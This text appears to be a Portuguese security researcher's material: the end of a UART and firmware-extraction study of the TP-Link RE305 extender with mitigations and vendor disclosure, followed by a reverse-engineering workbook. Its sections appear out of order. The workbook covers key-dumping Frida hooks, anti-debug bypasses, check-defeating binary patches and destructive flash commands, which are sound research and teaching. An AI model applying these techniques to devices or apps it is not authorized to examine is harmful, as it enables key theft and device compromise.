Pra completar o /etc: /etc/certificate/2048_newroot.cer é a CA da TP-Link discutida na seção 13, com 50 anos de validade; /etc/dropbear/ mora em ramfs (o /etc inteiro é regenerado a cada boot, F23 da enumeração na seção 12.9), então as host keys de SSH são geradas runtime e não shipped; /etc/config/system e /etc/config/wireless são defaults editáveis via UCI, sem material crypto.

Nenhum CVE público documentando especificamente accountmgnt da TP-Link com RSA-1024 em cleartext + admin password em formato OpenSSL Salted__ no RE305 V3. Família “embedded device with cleartext RSA in config” tem CVEs em outros vendors, nenhum apontando esse arquivo específico.

16. Impacto de segurança consolidado

A interface UART exposta no RE305 viola múltiplos princípios de defesa em profundidade ao mesmo tempo. Cada camada que normalmente faria parte do modelo de ameaça do device ou foi desabilitada, ou é silently ignored, ou está protegida por crypto quebrada desde os anos 90.

Pré-runtime extraction é a fase mais perigosa porque autenticação no Linux, ACLs, firewall, TLS ainda não estão ativas. Mas neste device, mesmo após o boot completar, o estado runtime continua trivialmente comprometível.

O que o acesso UART habilita, em ordem de gravidade. Recuperação de senha admin default (em unit pós-reset, factory state, unboxing), vetor de “vizinho consegue acesso ao seu extender”. Localização de chaves TLS e RSA embarcadas pra impersonation de gerência (TR-069/CWMP, cloud TP-Link, provisionamento OneMesh). Identificação dos daemons proprietários (tddp, tdpServer, path_selection, pfclient, client_mgmt) pra auditoria de superfície remota, vetor primário de CVE explorável sem físico contra qualquer RE305 na mesma LAN ou WiFi. E modificação de firmware (rebuild do SquashFS a partir do firmware update file público, recálculo de checksums, reflash via TFTP ou spi write), persistência em flash trivial.

16.1 Mitigações realistas

Mitigações que não dependem de fuse ou secure boot, ou seja, que custam zero em BOM:

1. Senha no U-Boot CLI (CONFIG_AUTOBOOT_KEYED ou CONFIG_AUTOBOOT_STOP_STR com hash).

2. Senha no Linux root, getty validando sem fallback, fix trivial no /etc/shadow gerado em build.

3. Compilar dropbear honrando SysAccountLogin, ou remover a diretiva da config se não tem efeito. Config que mente é pior que config ausente.

4. Compilar uhttpd com TLS, habilitar HTTPS por default.

5. Habilitar rfc1918_filter por default no build BR (já estava ativo no build EU).

6. Atualizar dropbear pra versão pós-2017 que tenha CVEs corrigidos.

7. Substituir single DES por AES-128 ou ChaCha20-Poly1305 em TDDP e OneMesh key exchange.

Custo de BOM dita o resto. Secure boot com chave em fuse é o único controle que sobrevive a adversário físico determinado, mas encarece o produto.

17. Considerações finais

Extração de firmware via UART é caminho determinístico e barato. Pra adversário motivado, é a etapa zero de qualquer pesquisa adversarial contra a plataforma.

Pra indústria de SOHO routers e extenders, isso significa que assumir confidencialidade de firmware é falha de modelo de ameaça. Todo segredo embarcado tem que ser tratado como público a partir do momento em que o produto sai de fábrica. A postura de segurança deriva dessa premissa, usando por exemplo secrets per-device derivados de identidade única em fuse, e não chaves globais embarcadas em SquashFS, nem dropbear compilado com config que mente.

O RE305 é caso interessante porque o vendor tem o hardware encryption-at-rest do MT7628 ativado, sinal de que pelo menos uma decisão de hardening foi tomada. E ao mesmo tempo deixa shell root sem senha no UART pós-boot. Defesa contra chip-off ativada, defesa contra cabo serial não. O modelo de ameaça assumido pelo design parece ser o do adversário que dessolda chip, não o do adversário que solda fio.

Pro pesquisador, o RE305 é alvo de estudo excelente. Pads rotulados, U-Boot aberto, plataforma extensivamente documentada, tamanho de flash compatível com dump serial sem chip-off, e shell root no fim do boot que dispensa quebrar a encryption-at-rest pra ver o que tá rodando.

Próximos passos do meu lado, alguns já em andamento no momento desse paper estar fechando: validar in-band as opções 5/6/8 escondidas do menu boot; reverter o binário tddp pra confirmar a chain de command injection via system(); mapear o wire protocol do path_selection em 6000/6001; rodar fuzzer UDP dedicado contra TDDP pra validar CVE-2020-12109 no build de Feb 2020; e caracterizar o timing real de brute-force de single DES no MAC OneMesh key exchange. O disclosure formal pra TP-Link PSIRT cobrindo os achados de chave hardcoded + RSA cleartext + outros segue embargo padrão de 90 dias e está em andamento em paralelo a este paper.

Apêndice A. Materiais e ferramentas

Apêndice B. Comandos U-Boot úteis

help              # comandos disponíveis na build
help spi          # subcomandos spi: read/erase/write/sr write (NÃO listado por help puro)
printenv          # dump completo do environment
bdinfo            # board info, memstart, memsize, flashstart, flashsize, ethaddr, baudrate
md.b <a> <n>      # display byte mode, padrão pra dump
md.w <a> <n>      # display word (16-bit)
md.l <a> <n>      # display long (32-bit), útil pra headers
mw.b <a> <v>      # memory write byte
cp.b <s> <d> <n>  # copy bytes
spi read <a> <l>  # lê SPI flash direto pra RAM
spi write <o> <h> # escreve hex em offset da flash (DESTRUTIVO)
spi erase <o> <l> # erase setores (DESTRUTIVO)
spi sr write <v>  # escreve status register da flash
tftpboot <a> <f>  # carrega arquivo de TFTP em endereço de RAM
bootm <a>         # boot de imagem uImage em RAM

mw.b + tftpboot é o vetor de boot de firmware customizado em RAM sem persistir em flash. spi write + spi erase + tftpboot é o vetor de persistência completa em flash. Tratar como API de root no bootloader.

Apêndice C. Resumo dos achados

Organizado por etapa. Pula direto pra onde você está travado. Os exemplos são de trabalho real, com alvo sanitizado.

1. Identificar o artefato

Antes de desmontar, saber o que é. file resolve a maioria, mas mente com header customizado, com artefato cifrado, e com container dentro de container. Aí você lê os bytes.

file artefato
xxd artefato | head                 # os primeiros bytes não mentem
binwalk artefato                    # assinaturas conhecidas em qualquer offset
binwalk -E artefato                 # curva de entropia

Entropia: código e texto ficam entre 4 e 6. Acima de 7.5 e plano do byte zero ao fim, sem header de compressão, é dado cifrado. Comprimido também é alto, mas tem o magic da compressão no começo. Essa distinção decide se o fabricante encriptou o firmware ou só comprimiu.

2. Desempacotar firmware embarcado (Linux)

binwalk -eMq imagem.bin             # extrai, recursivo, quieto
unblob imagem.bin                   # mais robusto com aninhamento

O binwalk reconhece o SquashFS pelo magic mas o unsquashfs recusa quando o fabricante mexeu no compressor ou no dicionário. Ferramentas dedicadas resolvem onde o binwalk puro falha.

Layout de partição, lido do alvo rodando ou do dump bruto:

cat /proc/mtd                       # nome e tamanho de cada partição
ubinfo -a                           # volumes UBI
nanddump --noecc -f part.bin /dev/mtd3

Extração física

Sem interface, sem dump por software, o firmware sai do silício.

UART: quatro pads numa fileira. GND tem continuidade com o terra, acha com multímetro. VCC fica fixo em 3.3V (às vezes 1.8V) no power-on. TX oscila durante o boot, visível com analisador lógico barato. RX fica em nível alto parado.

screen /dev/ttyUSB0 115200          # tente também 57600, 9600

No console do U-Boot (printenv, help, md, nand dump) você dumpa a flash inteira pelo próprio bootloader.

Flash SPI NOR (SOIC-8, Winbond W25Qxx, Macronix MX25Lxx): programador CH341A de quinze reais mais flashrom.

flashrom -p ch341a_spi              # detecta o chip
flashrom -p ch341a_spi -r d1.bin
flashrom -p ch341a_spi -r d2.bin
sha256sum d1.bin d2.bin             # têm que bater; se não, leitura suja

Leitura in-circuit com clip SOIC-8 é rápida mas a flash faz backpowering da placa e a leitura sai corrompida (os dois dumps não batem). Segure o SoC em reset, ou parta pro chip-off: dessolda, lê no soquete, ressolda. eMMC é BGA, não clipa: use os test points de ISP (CLK, CMD, DAT0, VCC, GND) com um leitor de eMMC, ou chip-off com reballing.

JTAG são 4 ou 5 sinais (TCK, TMS, TDI, TDO, TRST opcional), SWD são 2 (SWDIO, SWCLK). Pra mapear header desconhecido sem queimar nada, o JTAGulator (Joe Grand) faz brute-force das combinações de pino lendo o IDCODE. Software com OpenOCD.

Firmware cifrado

Entropia 8.0 plana, sem header de compressão. A chave está em algum lugar: TEE (TrustZone), eFuse ou OTP do SoC, ou hardcoded no bootloader. O caminho prático é achar o updater no userspace, o binário que recebe a imagem nova e a aplica. Ele descriptografa pra validar, então a rotina de derivação passa por ele. Reverte o updater (próximas seções), acha o AES, o EVP_, e rastreia de onde vem o material da chave.

3. Desempacotar firmware Android

ROM de fábrica raramente é um arquivo só. É uma cebola: pacote do vendor, dentro dele uma super.img, dentro dela as partições dinâmicas, cada uma um filesystem.

# imagem sparse do Android -> imagem raw
simg2img system.img system_raw.img          # magic 3a ff 26 ed = sparse

# super.img com partições dinâmicas -> partições separadas
lpunpack super.img out/                     # gera system.img, vendor.img, product.img...

# pacote OTA: payload.bin dentro do zip
payload-dumper-go -o out/ payload.bin       # extrai cada partição do update

# MediaTek: ler partição direto do device via BROM/Preloader
python3 mtk.py rl dump/                     # readback de todas as partições
python3 mtk.py r system,vendor sys.img,vnd.img

Slots A/B: as partições vêm com sufixo _a e _b. O slot ativo é o que tem conteúdo, o inativo costuma estar vazio. O filesystem dentro é ext4 nas ROMs antigas e erofs nas novas.

mount -o loop,ro system_a.img /mnt/sys           # ext4
fsck.erofs --extract=out_erofs vendor_a.img      # erofs
file system_a.img                                # "ext2 ... (extents)" = ext4

Montado, o que interessa por diretório: app/ e priv-app/ têm os APKs (privilegiados em priv-app/), framework/ tem os JARs do framework, bin/ e lib*/ os binários e libs nativas, etc/selinux/*.cil a política SELinux. Em cada pasta de APK costuma haver oat/<arch>/ com .odex e .vdex, que é o bytecode pré-compilado pelo ART. O .dex original ainda está dentro do APK.

boot.img se desmonta com o magic ANDROID!: separa kernel e ramdisk, e o kernel costuma estar comprimido (gzip, lz4). binwalk -eMq boot.img resolve, ou unpack_bootimg.

4. ELF e binário nativo

O header do ELF e a tabela dinâmica contam quase tudo antes de você ler uma instrução.

file bin
readelf -h bin                      # arquitetura, endianness, tipo (EXEC/DYN), entry
readelf -d bin                      # NEEDED (libs), RUNPATH, e o interpretador
readelf -l bin | grep interpreter   # /lib/ld-uClibc.so.0 ? glibc ? bionic ?
readelf -S bin                      # seções
nm -D bin                           # símbolos dinâmicos
objdump -d bin                      # disassembly cru
strings -n 8 -t x bin               # strings com offset em hex

O que ler nessa saída, com um exemplo real de um agente de CPE que reversei:

ELF 32-bit LSB pie executable, ARM, EABI5, dynamically linked,
interpreter /lib/ld-uClibc.so.0, stripped

Linha por linha. 32-bit LSB é ARM little-endian. pie (tipo ET_DYN com entry e com interpretador) é position-independent, então todo endereço que você anotar é relativo à base de carga. interpreter /lib/ld-uClibc.so.0 entrega que é firmware embarcado, uClibc e não glibc, o que muda layout de struct e comportamento de malloc. stripped significa que não tem tabela de símbolos, você vai trabalhar com fcn.0001a2b4 em vez de nomes, e renomear na mão conforme entende.

readelf -d mostra o RUNPATH. Naquele binário era /Plugin/<nome>/lib:./lib:/lib, ou seja ele carrega .so proprietárias de um diretório próprio. Você vai precisar dessas libs pra emular depois.

Hardening, sem instalar checksec: NX está ligado se existe o segmento GNU_STACK sem flag de execução. Stack canary existe se o símbolo __stack_chk_fail aparece. RELRO é parcial com GNU_RELRO e total se também tem BIND_NOW.

5. Arquiteturas: ARM, MIPS e convenções

Pra rastrear a entrada até um sink, você precisa saber onde cada ABI põe os argumentos.

Em ARM32, o caso mais comum em CPE, R4 a R11 são preservados pela função chamada, então é neles que o compilador guarda ponteiro de vida longa. R13 é SP, R14 é LR (endereço de retorno), R15 é PC.

Três pegadinhas que o disassembler erra e que contaminam toda a análise:

Thumb contra ARM. ARM tem dois conjuntos de instrução, ARM de 32 bits e Thumb de 16 (Thumb-2 mistura). O modo é codificado no bit 0 do endereço da função: ímpar é Thumb. BX e BLX trocam de modo. Se o disassembler escolhe o modo errado, sai instrução-lixo plausível e você analisa ficção. Em radare2 force com ahb 16 (Thumb) ou ahb 32 (ARM).

Blocos IT. Em Thumb, execução condicional vem do bloco IT/ITT/ITTT, que torna condicionais de 1 a 4 instruções seguintes. Decompilador erra bloco IT e gera fluxo de controle que não existe.

Branch delay slot do MIPS. A instrução logo depois de um branch ou jump sempre executa, antes do branch tomar efeito. A instrução visualmente abaixo de jr $ra roda antes do retorno. O que parece código morto depois de um j não é morto.

Identificar a libc importa: strings bin | grep -iE 'glibc|uclibc|musl|gcc version' e readelf -p .comment bin costuma entregar a versão do GCC. uClibc é binário pequeno e comum em CPE, glibc é grande, musl é enxuto e sem versioning de símbolo, bionic é Android.

6. Disassembly e decompilação

r2 -A bin abre e roda a análise. Tem quem prefira Ghidra, e o decompiler do Ghidra é melhor. O r2 ganha em ser leve, scriptável por r2pipe, e rodar sem Java. Em projeto longo, os dois: r2 pra navegar, Ghidra noutra tela pro pseudo-C.

O fluxo que eu uso, e que usei pra reverter aquele agente de CPE de cerca de 600 funções stripadas. Primeiro mapeio o callgraph e olho os imports pra saber o que o binário sabe fazer. Depois escolho um alvo: o que chama system, o que configura TLS, o que mexe com cripto. axt sym.imp.system lista todo chamador do sink. Pra cada um, s até lá e pdf. Rastreio o registrador do argumento de trás pra frente com pd -N até a origem do dado. Quando o binário usa uma biblioteca conhecida, o truque que mais acelera é comparar a sequência de chamadas com o código-fonte da lib: vendo curl_easy_setopt com um certo número de opção e o valor 0, você abre o header do curl, confere que aquele número é CURLOPT_SSL_VERIFYPEER, e sabe sem dúvida que a verificação de certificado foi desligada.

Automação com r2pipe, pra varredura em lote:

import r2pipe
r2 = r2pipe.open("bin")
r2.cmd("aaa")
for ref in r2.cmdj("axtj sym.imp.system"):     # axtj = JSON
    print(hex(ref["from"]), ref.get("fcn_name"))

Ghidra paralelo. Pro pseudo-C ele ganha do r2, principalmente em ARM com saltos condicionais e em código com OLLVM. Equivalências de quem alterna entre os dois: ir pra endereço s 0x... é g, renomear é L, xrefs é clique direito → References, decompiler é nativo (não precisa do plugin r2ghidra). Pra script em lote, analyzeHeadless é o equivalente do r2pipe: roda um script Python ou Java em N binários sem abrir GUI, ideal pra varrer um diretório de firmware atrás do mesmo padrão.

7. APK e Android

APK é um ZIP: AndroidManifest.xml (XML binário), classes.dex e classes2.dex, classes3.dex em app grande, resources.arsc, res/, assets/, lib/<abi>/*.so, META-INF/.

unzip -l app.apk                              # estrutura, sem decompilar
apkid app.apk                                 # packer, compilador, anti-análise antes de decompilar
jadx -d jadx_out app.apk                      # Java reconstruído (CLI p/ APK grande)
jadx-gui app.apk                              # navegação interativa
apktool d -f -o apktool_out app.apk           # smali + recursos + manifest legível

jadx decompila Dalvik. Quando ele falha num método (ofuscação pesada, bytecode estranho), caia pro smali do apktool, que sempre sai. Os mesmos passos valem pra amostra hostil; a diferença é postura: diretório isolado, sem rede, você decompila e lê, nunca instala nem executa.

Antes de tudo: que framework é

Se a lógica não está no dex, jadx te mostra um shell vazio. Identifique no primeiro minuto.

Flutter ignora jadx: reFlutter repatcheia a engine, Blutter reconstrói nomes de classe do snapshot. React Native com bytecode Hermes desmonta com hbctool ou hermes-dec.

Manifest e smali

cat apktool_out/AndroidManifest.xml

Smali em trinta segundos. Tipos: V void, Z boolean, I int, J long, L pacote/Classe; objeto, [ prefixa array. Registradores: p0 é o this, p1... os parâmetros, v0... os locais. const-string carrega literal, sget-object lê campo estático, invoke-virtual/invoke-static/invoke-direct chamam método. Quando o jadx esconde uma string montada no <clinit>, ela está no smali.

Código nativo (JNI)

A função nativa que o Java chama segue Java_pacote_Classe_metodo, e o primeiro argumento de toda função JNI é JNIEnv*, o segundo é o this. App que não quer o nome exposto não usa esse mangling: registra a função em runtime via RegisterNatives, normalmente dentro de JNI_OnLoad. RegisterNatives recebe um array de {nome, assinatura, ponteiro}. Pra achar a função real, vá em JNI_OnLoad, siga até o RegisterNatives, leia o array.

nm -D --defined-only libnative.so | grep Java_

8. Emulação

Rodar o binário sem o hardware. Pra um ELF standalone, qemu-user resolve. Pra firmware inteiro, qemu-system ou FirmAE.

O caso que vale detalhar é emular um binário de firmware com dependências proprietárias, que foi o que fiz com aquele agente de CPE. Ele é ARM, dinâmico, linkado contra uClibc, e carrega .so próprias de um diretório fora do padrão. A receita:

# 1. monte um sysroot: copie o rootfs extraído do firmware
rsync -a _firmware.extracted/rootfs/ ./sysroot/

# 2. -L aponta o QEMU pro sysroot (onde achar o interpretador uClibc e libs)
# 3. LD_LIBRARY_PATH cobre o diretório proprietário de .so
env LD_LIBRARY_PATH=/Plugin/agente/lib:/lib \
  qemu-arm-static -L ./sysroot ./sysroot/usr/bin/agente --base_domain https://exemplo

qemu-arm-static é estático, roda direto no host x86. O -L sysroot (equivale a setar QEMU_LD_PREFIX) é o que faz o loader uClibc do ARM ser encontrado, sem isso o binário nem inicia. Quando o binário reclama de algo que não existe no QEMU (um /dev específico, uma partição), você stuba: arquivo vazio, symlink, ou um valor fixo. Não é elegante, funciona.

Pra firmware completo, qemu-system-arm com kernel e device tree compatíveis, ou FirmAE, que automatiza e funciona em parte dos casos.

9. Debugging e tracing

qemu-arm -g 1234 -L ./sysroot ./bin           # emula e espera o gdb na 1234
gdb-multiarch ./bin
  target remote :1234
  set architecture arm
  b *0x39170
  x/s $r0                                     # string apontada por registrador
  x/16xw $sp                                  # 16 words da stack
  info registers

strace e ltrace mostram comportamento sem você ler assembly. E têm um uso que vale destacar: reverter o protocolo de rede de um binário sem decifrar TLS nenhum. O syscall connect revela IP e porta dos endpoints, openat revela cada arquivo tocado, e read/write/send carregam o payload. Quando o protocolo não é cifrado, ou quando a verificação de TLS do próprio binário está quebrada, o que cruza o write é texto claro.

strace -ff -s 8192 -xx \
  -e trace=connect,openat,read,write,send,sendto,recvfrom,writev,sendmsg \
  -o trace.log \
  env LD_LIBRARY_PATH=... qemu-arm-static -L ./sysroot ./bin --base_domain https://exemplo

Os flags importam. -ff segue forks, um arquivo de log por PID. -s 8192 evita o truncamento padrão de 32 bytes, que cortaria um JSON no meio. -xx despeja em hex mais ASCII, recuperando dado binário. Depois é só garimpar o log:

grep -hEo '\{[^}]{10,}\}' trace.log*          # candidatos a JSON
grep -Eo 'https?://[^ ]+' trace.log* | sort -u # endpoints

Foi assim que eu peguei o formato exato da mensagem de registro daquele agente, com os nomes de campo e o material que ele mandava, sem montar servidor nenhum.

10. Instrumentação dinâmica

strace mostra a borda de syscall. Frida (de Ole André Vadla Ravnås) mostra qualquer função, com argumento e retorno, em runtime.

frida-ps -Uai
frida -U -f com.pkg -l hook.js --no-pause     # spawn + injeta

Dump de toda chave simétrica que o app instancia, não importa como foi derivada:

Java.perform(function () {
  const SKS = Java.use('javax.crypto.spec.SecretKeySpec');
  SKS.$init.overload('[B', 'java.lang.String').implementation = function (k, a) {
    console.log('[SecretKeySpec] alg=' + a + ' key=' + bytesToHex(k));
    return this.$init(k, a);
  };
});

Hook em função nativa dentro de uma .so, quando a lógica está no C:

const base = Module.getBaseAddress('libnative.so');
Interceptor.attach(base.add(0x4a10), {     // offset a partir da base do módulo
  onEnter(args) { this.p = args[2]; },     // args[0]=JNIEnv, args[1]=this
  onLeave(ret)  { console.log('ret=' + Memory.readUtf8String(this.p)); }
});

Anti-Frida e anti-debug

O binário detecta o instrumentador e fecha, ou finge funcionar. Conhecer a checagem é saber o que esconder. As detecções comuns: varrer /proc/self/maps atrás de frida-agent ou linjector; testar a porta 27042 (default do frida-server); achar thread chamada gmain ou gum-js-loop; ler TracerPid em /proc/self/status (diferente de zero indica debugger). Bypass: renomear o frida-server no device, usar frida-gadget embutido via repack, fazer spawn com --no-pause pra hookar a checagem antes dela rodar, ou simplesmente substituir o retorno da função de detecção.

11. Patching binário

Modificar o binário pra ele se comportar do jeito que você precisa pra analisar: pular uma checagem, redirecionar uma URL, neutralizar uma proteção. Patch in-place, preservando tamanho.

Exemplo real, sanitizado. Aquele agente de CPE validava a resposta de um comando comparando um contador com uma constante, e abortava se não batesse. Isso atrapalhava a análise dinâmica. A instrução, em ARM32, no offset 0x39170:

0x39170:  01 00 53 e3    cmp r3, 1        ; bytes little-endian da word 0xE3530001
0x39174:  23 00 00 0a    beq 0x39208      ; pula se igual

O patch troca a comparação de "r3 contra o imediato 1" por "r3 contra r3", que é sempre verdadeira, então o beq sempre é tomado e a checagem deixa de barrar:

0x39170:  03 00 53 e1    cmp r3, r3       ; word 0xE1530003

Mudaram dois bytes. O e3 (cmp com imediato) virou e1 (cmp com registrador), e o operando 01 virou 03 (r3). Pra achar e aplicar:

xxd -s 0x39170 -l 8 bin                       # confirma os bytes no offset
printf '\x03\x00\x53\xe1' | dd of=bin bs=1 seek=$((0x39170)) conv=notrunc
xxd -s 0x39170 -l 8 bin                       # verifica o patch

O segundo tipo de patch foi em string. O binário buscava uma URL fixa em .rodata. Sobrescrevendo essa string in-place, com o cuidado de não passar do tamanho original, dá pra apontar pro seu ambiente de análise. URL aceita barra no fim sem quebrar o parse, então sobra de espaço se preenche com /. O mesmo dd ... conv=notrunc, ou um script Python com struct, aplica.

Conferir se o patch fez efeito é rodar o binário emulado (seção 8) e olhar o strace (seção 9). Se a checagem que tu neutralizou levava a exit ou a uma chamada que aparecia no trace, e essa chamada agora some, o patch pegou. Patch silencioso, que não muda comportamento observável, geralmente é patch errado.

Regra de ouro do patching: preserve o tamanho do arquivo. Mudar o tamanho desloca todo offset seguinte, quebra a tabela de seções, e o ELF não carrega mais. Patch é substituir bytes, nunca inserir.

Quando não patchar. Frida hookando a mesma checagem em runtime resolve o mesmo problema sem alterar o binário, e é melhor quando o binário tem assinatura ou checksum, quando tu precisa alternar entre comportamento patchado e original na mesma sessão, ou quando tu quer comparar os dois lados sem reabrir o arquivo. Patching ganha quando precisa distribuir o binário pra rodar em outro lugar (lab emulado num colega, fuzzer rodando offline), quando o alvo não aceita instrumentação, ou quando a alteração é permanente (URL apontada pra endpoint controlado).

Equipamento com bootloader que valida assinatura do filesystem (CPE moderno de fabricante grande quase sempre faz) recusa imagem patchada. Aí o patch da seção do binário não passa no boot, e a saída é ou bypass do verificador (que volta pra seção 2, e às vezes exige glitching), ou patchar o processo já carregado em memória via Frida ou kernel module, sem tocar na flash.

12. Deobfuscação e unpacking

APK que abre no jadx sem erro e tem só uma MainActivity minúscula está empacotado. O classes.dex real é descomprimido em runtime. .so com nome tipo libjiagu, libsecexe, libsecmain é packer (Jiagu, Bangcle, SecNeo). O caminho é dumpar o dex da memória depois que o packer o carregou, com Frida hookando DexClassLoader ou DefineClass, ou ferramentas como frida-dexdump.

Em código nativo, Obfuscator-LLVM (OLLVM) deixa três marcas. Control flow flattening transforma o fluxo num laço gigante com um switch central despachando blocos por uma variável de estado, o grafo vira uma estrela. Bogus control flow injeta caminho morto guardado por condição opaca. Instruction substitution troca uma operação simples por uma sequência equivalente esquisita. Reconhecer o dispatcher achatado é o primeiro passo; pra remediar há plugins de deobfuscação pra Ghidra e IDA, ou execução simbólica resolvendo a variável de estado.

Pistas de ofuscação em Java: classe e método de uma ou duas letras é R8 ou ProGuard; string que virou chamada de um método decodificador é string encryption.

13. Reverter cripto embarcada

Reconhecer o que tu está vendo, antes de tentar quebrar. Codificação não é cifra: A-Za-z0-9+/ com = no fim e comprimento múltiplo de 4 é base64, decodifica e segue. Cifra de bloco deixa rastro no tamanho: AES tem bloco de 16 bytes, ciphertext em ECB ou CBC tem comprimento múltiplo de 16; DES e 3DES têm bloco de 8; RSA produz saída do tamanho da chave, 256 bytes pra RSA-2048. Se o "token" tem exatamente 256 bytes, é quase certo RSA. ECB se denuncia sozinho: blocos de plaintext idênticos viram blocos de ciphertext idênticos, e se tu cifra uma imagem com regiões de cor sólida ainda dá pra ver o contorno. Vale o mesmo pra config estruturada com campo repetido.

Firmware que cifra um cofre de credencial quase sempre usa a mesma receita: uma chave mestra em texto puro num arquivo, uma derivação simples (shift de bytes, concatenação, um SHA-256) e AES-256-CBC. Reverter isso é RE: você lê a função de derivação no disassembly e a reproduz.

No r2, ache a função pelas chamadas a EVP_DecryptInit_ex, SHA256, AES_set_*. Leia passo a passo o que ela faz com o material da chave. Reproduza em Python:

from Crypto.Cipher import AES
import hashlib
key = hashlib.sha256(material_a).digest()        # 32 bytes
iv  = hashlib.sha256(material_b).digest()[:16]   # 16 bytes
pt  = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)

A armadilha que custa tempo: o decompiler nomeia uma variável de key e outra de iv por causa de um memset anterior, mas no call site do EVP_DecryptInit_ex os ponteiros entram trocados. O nome é hipótese. A posição do argumento é fato. Em conflito, confie no dataflow.

14. Patch diffing

Pega duas versões do mesmo firmware ou do mesmo binário e compara. O que mudou entre v1 e v2 costuma ser o que o fabricante consertou sem dizer.

diff <(binwalk fw_v1.bin) <(binwalk fw_v2.bin)   # macro: o que mudou
diff -rq rootfs_v1/ rootfs_v2/                    # quais arquivos diferem

No nível de função, BinDiff (zynamics, hoje Google) e Diaphora (Joxean Koret) casam funções entre as duas versões e destacam as que mudaram. O sinal de ouro é uma função que ganhou um bloco novo de validação, um bounds check, uma chamada de sanitização. Essa função tinha bug na v1, e o diff te entrega exatamente onde olhar.

15. Execução simbólica

Quando o caminho até um ponto do código depende de uma condição de input específica, e resolver na mão é chato, execução simbólica resolve o input pra você.

import angr
proj  = angr.Project('bin', auto_load_libs=False)
simgr = proj.factory.simulation_manager(proj.factory.entry_state())
simgr.explore(find=0x39208, avoid=[0x392a0])
if simgr.found:
    print(simgr.found[0].posix.dumps(0))         # input que leva ao endereço

angr (da equipe do angr, Shellphish/UC Santa Barbara) vale quando o caminho é complexo. Não vale quando o binário é grande e o número de estados explode. Mitigue: comece o estado de um endereço perto do alvo (blank_state(addr=...)) em vez do entrypoint, e marque simbólico só o que interessa, o resto concreto.

16. Reverter um protocolo

Binário que fala um protocolo proprietário, sem documentação. A reconstrução combina o que já apareceu nas seções anteriores. Estática primeiro: as strings entregam URLs, nomes de endpoint, nomes de campo, verbos. O disassembly da função que monta a mensagem mostra a ordem dos campos e os tipos. Dinâmica depois: strace nos syscalls de rede captura a mensagem real cruzando o write, e se o protocolo for cifrado você reverte o lado servidor (um servidor mínimo que responde o que o binário espera) pra fazer o binário continuar falando e revelar mais do fluxo.

Foi assim que reconstruí o protocolo de registro daquele agente: as strings deram os endpoints e o esqueleto do JSON, o disassembly deu a ordem de montagem dos campos, e o strace confirmou a mensagem exata no fio. Pra protocolo binário sem nome de campo no payload, se for protobuf, protoc --decode_raw < blob.bin mostra os campos por número e tipo, e você reconstrói o .proto a partir daí.

Reconhecer encoding no fio quando o protocolo é binário e tu não tem fonte. Protobuf começa com um varint de field-tag onde os 3 bits baixos são o wire type (0 varint, 1 fixed64, 2 length-delimited, 5 fixed32), e o resto é o número do campo. TLV custom costuma ter prefixo de 1, 2 ou 4 bytes de tamanho, identifica olhando se o tamanho anunciado bate com o resto do payload. MessagePack começa com byte de tipo numa faixa pequena (mapa em 80-8f ou de/df, array em 90-9f ou dc/dd). CBOR tem estrutura parecida com major types diferentes. BSON e similares têm o tamanho total como primeiro int32 little-endian. Se nada disso encaixa, é blob proprietário e a única saída é o disassembly da função que monta o pacote.

17. Armadilhas

file mente em artefato com header customizado. Confira os bytes.

Entropia alta não é sempre cripto, pode ser só compressão. Olhe se tem header de gzip, xz ou lzma antes de concluir.

O decompiler dá hipótese, não verdade. Ghidra e jadx erram tipo, erram nome, erram bloco IT. Em decisão importante, leia o assembly ou o smali cru.

Em binário PIE, todo endereço é relativo à base. O 0x39170 que você anotou no r2 só vale somado à base de carga real em runtime.

binwalk reconhecer um SquashFS não quer dizer que extrai. Tenha sasquatch, jefferson, ubireader à mão.

APK que abre limpo no jadx e só tem uma MainActivity minúscula está empacotado. O dex real aparece em runtime.

Binário ARM lido no modo errado (ARM em vez de Thumb) vira instrução-lixo plausível. Na dúvida, force o modo e compare.

A instrução depois de um branch em MIPS executa. Sempre. Não é código morto.

Patching que muda o tamanho do arquivo desloca todo offset e quebra o ELF. Substitua bytes, nunca insira.

Emular binário dinâmico sem o -L sysroot correto falha logo no loader, e a mensagem de erro não diz que o problema é o interpretador. Se o qemu-user morre antes do main, suspeite do interpretador e das libs antes de qualquer outra coisa.

Esse arquivo nunca está fechado. Cada coisa nova que me faz perder uma tarde vira uma linha aqui.

Não é tutorial nem referência. É como eu trabalho, com as opiniões fortes que eu fui juntando no caminho. O assunto aqui é engenharia reversa, o trabalho de leitura. As CVEs que saem disso são subproduto, e aparecem de passagem, sanitizadas. Algumas coisas vão soar óbvias pra quem já faz isso. Outras vão soar estranhas pra quem nunca fez. Tudo bem.

Aviso de sempre: tem parte que eu não posso detalhar ainda. Um dos casos que aparece mais pra frente está em disclosure coordenado, com embargo até julho de 2026. Quando cair, eu volto e escrevo a análise completa daquele caso. Por enquanto, quando o exemplo vier de lá, eu falo no genérico e tiro tudo que identifica o alvo. O mesmo vale pros projetos que ainda estão em triagem: a técnica vai inteira, o nome do produto não.

A mentalidade antes da ferramenta

Existe um padrão que eu vi tanta vez que virou meu primeiro filtro mental. O engenheiro de software médio confia na camada anterior. O front confia no back, o back confia no proxy, o proxy confia no firewall, o firewall confia que ninguém entrou na rede interna, a rede interna confia que ninguém tem credencial vazada. Cada camada empurrando a responsabilidade pra próxima. Em algum ponto dessa cadeia, alguém deixou de validar uma coisa porque "a outra camada já valida".

Engenharia reversa, na prática, é achar onde essa confiança quebra. Você procura o ponto em que a entrada do usuário atravessa sem ser checada de novo, e onde alguma camada faz algo perigoso com essa entrada: executa um comando, lê um arquivo, monta uma query, constrói uma URL.

A segunda coisa que virou mentalidade é a seguinte: se está embarcado no artefato, está vazado. APK distribuído na Play Store, firmware servido por HTTP do servidor de update, config.bin baixado da interface web do roteador. Qualquer coisa dentro de um artefato que sai do controle do fabricante e chega no dispositivo do usuário tem que ser tratada como pública. Isso inclui chave RSA "privada", credencial "encriptada", token "ofuscado". Se eu consigo extrair, o adversário também consegue.

Terceira: proteção homogênea é ilusão. Quando um fabricante distribui o mesmo firmware, ou o mesmo APK, pra milhões de dispositivos com a mesma chave compartilhada, ele criou uma chave única que destranca a frota inteira. Comprometeu um, comprometeu todos, ao mesmo tempo. Eu vejo isso em quase todo firmware de CPE que eu abro e em boa parte dos APKs corporativos que analiso.

De onde vem o material

Todo material que eu analiso ou é de equipamento meu, ou veio de pacote distribuído publicamente. Não tem etapa de invasão em lugar nenhum desse workflow.

